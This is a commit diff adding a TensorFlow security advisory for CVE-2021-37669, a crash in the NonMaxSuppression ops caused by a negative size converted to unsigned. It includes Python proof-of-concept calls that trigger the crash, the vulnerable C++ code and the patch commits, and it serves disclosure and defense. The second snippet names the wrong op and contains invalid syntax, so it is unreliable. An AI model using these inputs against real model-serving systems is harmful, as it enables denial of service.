chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-143.md

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+## TFSA-2021-143: Crash in NMS ops caused by integer conversion to unsigned
+
+### CVE Number
+CVE-2021-37669
+
+### Impact
+An attacker can cause denial of service in applications serving models using
+`tf.raw_ops.NonMaxSuppressionV5` by triggering a division by 0:
+
+```python
+import tensorflow as tf
+
+tf.raw_ops.NonMaxSuppressionV5(
+  boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],
+  scores=[1.0,2.0,3.0],
+  max_output_size=-1,
+  iou_threshold=0.5,
+  score_threshold=0.5,
+  soft_nms_sigma=1.0,
+  pad_to_max_output_size=True)
+```
+
+The
+[implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/image/non_max_suppression_op.cc#L170-L271)
+uses a user controlled argument to resize a `std::vector`:
+
+```cc
+  const int output_size = max_output_size.scalar<int>()();
+  // ...
+  std::vector<int> selected;
+  // ...
+  if (pad_to_max_output_size) {
+    selected.resize(output_size, 0);
+    // ...
+  }
+```
+
+However, as `std::vector::resize` takes the size argument as a `size_t` and
+`output_size` is an `int`, there is an implicit conversion to usigned. If the
+attacker supplies a negative value, this conversion results in a crash.
+
+A similar issue occurs in `CombinedNonMaxSuppression`:
+
+```python
+import tensorflow as tf
+
+tf.raw_ops.NonMaxSuppressionV5(
+  boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]],
+  scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]],
+  max_output_size_per_class=-1,
+  max_total_size=10,
+  iou_threshold=score_threshold=0.5,
+  pad_per_class=True,
+  clip_boxes=True)
+```
+
+### Patches
+We have patched the issue in GitHub commit
+[3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d](https://github.com/tensorflow/tensorflow/commit/3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d)
+and commit
+[b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58](https://github.com/tensorflow/tensorflow/commit/b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58).
+
+The fix will be included in TensorFlow 2.6.0. We will also cherrypick this
+commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are
+also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by members of the Aivul Team from Qihoo
+360.